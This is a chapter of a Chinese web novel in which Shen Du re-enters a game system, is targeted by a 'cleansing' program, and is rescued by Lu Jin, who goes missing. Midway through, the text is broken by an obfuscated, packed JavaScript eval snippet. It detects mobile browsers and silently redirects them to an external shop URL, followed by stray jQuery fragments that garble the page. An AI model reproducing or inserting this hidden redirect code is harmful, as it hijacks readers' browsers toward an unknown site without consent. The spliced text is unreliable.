沈渡一整夜没睡好。
饼饼窝在他枕头边上,每隔半小时就醒一次,用湿漉漉的鼻尖拱他的下巴。沈渡被拱醒了三次,每次都在黑暗中盯着天花板发呆,脑子里反复播放那条短信——"明天别进游戏。系统要清洗异常数据。"
他明明答应了。他在心里答应的。但越躺越清醒,越想越不对劲。
如果陆烬真的只是来回收他的,为什么要提前警告?为什么要给他营养剂?为什么要把他推进安全屋?为什么要说"明天再来找你"?
沈渡翻身坐起来,把饼饼从枕头上捞进掌心里。电子小狗迷迷糊糊睁开眼,金色光晕在黑暗中微微闪烁。沈渡盯着它看了很久,然后轻声说:"饼饼,你带我进去,我不走大路。"
饼饼歪了歪脑袋,屏幕上弹出一行小字:【管理员沈渡,您确定要登录吗?当前状态:高危预警。】
"确定。"
饼饼的耳朵抖了两下。它从沈渡掌心一跃而起,在半空中舒展成一张细密的、由淡金色数据流编织而成的投影地图。图上蜿蜒着一条极其狭窄的路径,绕开了所有标注为"监测区"的节点,像一条数据夹缝里的毛细血管。
"你还有这功能?"沈渡有些意外。
饼饼骄傲地摇了摇尾巴。
沈渡掀开被子,悄悄推开门往客厅看了一眼——隔壁房间门缝里没有透出灯光,陆烬似乎已经睡了。他轻手轻脚回到全息舱前,按下了启动键。
舱门合拢的那一刻,饼饼化作一道流光,从他手机屏幕里钻进了全息舱的数据接口。
"管理员沈渡,重新登录。"系统音响起,"检测到备用数据通道。正在绕行……加载完成。"
沈渡眼前再次陷入黑暗。视觉剥夺状态还在——他还没通关第一层,系统不打算轻易放过他。但这次的黑暗不太一样,他能感觉到饼饼就在附近,它身体散发的那团微热像一盏看不见的灯塔,贴着他的手腕内测。
"饼饼,往哪走?"
饼饼用尾巴轻轻抽了一下他的手背,朝左前方。沈渡抬脚跟上去。黑暗中,只有那一团小小的暖意牵着他,在曲折幽暗的数据夹缝里穿行。脚下的地面从金属变成了某种柔软的半透明介质,踩上去有细微的回弹感,像走在某种活物的表皮上。
他走了大概十分钟,忽然发现周围的温度在升高。空气中多了某种焦灼的、刺鼻的气息,像塑料被烧糊了的味道。饼饼的尾巴抽他的频率越来越快,带着明显的焦躁。
"怎么了?"
饼饼猛地蹿到他肩膀上,龇牙发出低沉的警报声。与此同时,沈渡的管理员面板毫无预兆地弹出满屏红色警告:
【系统清洗程序已触发】
【异常数据目标锁定:管理员沈渡】
【清洗倒计时:120秒】
沈渡的心跳猛地提上来。
"完了。"他转身往回跑,"饼饼,原路退!"
但来不及了。四周的数据墙壁正在以肉眼可见的速度崩裂,裂缝里透出刺目的白金色光芒,像某种熔岩般灼热的数据流正在渗透进来。脚下的半透明地面开始变软,沈渡一脚踩下去险些陷进去,他踉跄着扶住旁边的墙壁——墙面烫得像烙铁,手心一阵剧痛,他不受控制地松了手。
"饼饼!"他喊。
饼饼从他肩膀上跳下去,在半空中瞬间展开成一张金色的数据屏障,堪堪挡住了第一波涌过来的白色数据流。但它的身体在急剧萎缩,金色光晕以肉眼可见的速度变淡——饼饼撑不了多久。
倒计时还有67秒。
沈渡咬紧牙关,调出管理员面板疯狂敲击权限指令。他要强行关闭清洗程序——哪怕触发系统反噬,也比被格式化干净强。他指尖在虛拟键盘上翻飞,汗水顺着额头滑进眼眶,刺痛。
就在他的指令即将确认的前一秒,一股巨大的力道从背后猛地撞上来——有人从数据风暴的中心直冲而出,一只手死死箍住沈渡的腰,另一只手覆盖住他的后脑,把他整个人往怀里压。
沈渡的脸撞进一片温热的、带着余烬气息的胸膛。对方的心脏在他耳畔剧烈跳动,快到不正常。
"陆——"
"闭嘴。"
陆烬的声音是从牙缝里挤出来的。沈渡能感觉到他浑身紧绷,像一把被拉到极限的弓——下一秒,他被一股大力猛地推了出去。整个身体腾空而起,穿过一道冰冷的屏障,重重摔在安全屋的金属地面上。
砰。安全屋的门在他身后合拢。
沈渡摔得后背生疼,他顾不上爬起来,伸手就往门的方向摸:"陆烬!陆烬你——"
门外没有回应。只有数据风暴呼啸而过的狂躁嗡鸣,像无数只蜂群在金属墙壁上撞击、碾压、绞碎。
沈渡的面板弹出提示:【管理员沈渡,已脱离清洗范围。】
他靠在门板上,浑身发抖,手心里全是冷汗。饼饼从他口袋里探出脑袋,金色光晕几乎散尽,只剩一层薄薄的、几乎透明的轮廓贴在沈渡掌心里,像一片随时会碎掉的叶子。
"饼饼……"沈渡的声音哑得他自己都陌生。
饼饼虚弱地蹭了蹭他的指腹,屏幕上弹出一行断断续续的小字:【他……推你……出来。他……还在里面。】
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909729|213090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈渡的拳头猛地攥紧了。
他重新调出面板,疯狂搜索"清洗程序"的后台日志。倒计时走完的一瞬间,系统日志上弹出了一条记录——【目标异常数据已清除。执行者:系统管理员007。】
007?不是陆烬?
沈渡的瞳孔骤然收缩。他飞速回溯日志,发现清洗程序的触发源头根本不是"回收管理员"那条指令,而是来自于一个远程植入的后门权限——有人从游戏外部直接启动了清洗协议。执行者的ID显示为"007",但这个名字在游戏内部数据里根本查不到任何关联账号。
有人从外面入侵了系统。而且那人知道沈渡今天会登录。
沈渡的后背一阵发凉。他重新看向那扇紧闭的安全屋大门。门外的风暴还在持续,但已经比刚才弱了一些。他忽然注意到——门缝下面渗进来一缕极其微弱的数据碎片,淡金色的,像一片被撕裂的星光。
碎片慢慢爬过门槛,一点一点挪到沈渡的脚边,蹭上了他的裤脚。饼饼从沈渡掌心探出头来,看着那缕碎片,发出了一声极轻的、像哀鸣一样的"呜"。
沈渡弯下腰,把那缕碎片捧起来。碎片在他掌心里蜷缩了一下,像某种疼痛的生物在找取暖的地方,然后缓缓融进了饼饼的身体里。饼饼的光晕亮了一瞬,又重新暗了下去,但它伸出舌头,轻轻舔了舔沈渡的指腹。
门外的风暴终于停了。
一切归于寂静。安全屋里只有沈渡的呼吸声,还有掌心里那团半明半暗的暖意。
"饼饼,"沈渡的声音很低很低,"那是他的一部分,对不对?"
饼饼没有回答。它只是把脑袋往沈渡的掌心里埋了埋,像在替他难过。
沈渡用力闭了闭眼睛。他重新调出面板,在管理员日志里输入了一行新的备注——
【目标:陆烬。状态:数据缺失(部分回收)。执行者:外部入侵者"007"。计划:找到他,把他拼回来。】
他把面板关掉,靠着门板坐了很久。然后他伸手摸到退出键,按了下去。
全息舱弹开的那一瞬间,沈渡几乎是跌出来的。他撑着舱沿站稳,第一件事是推开卧室门冲进客厅——隔壁房间的门开着,里面空无一人。
床铺整齐,电脑屏幕暗着,桌上摊着半块被他掰开的、烧焦了的数据终端碎片。
沈渡站在陆烬的房间里,盯着那片焦黑的碎片看了很久。然后他低头看向自己的掌心,饼饼还在那里,暖意细微,像一粒随时可能熄灭的火星。
隔壁楼的远处,传来了清晨第一声鸟鸣。
天亮了。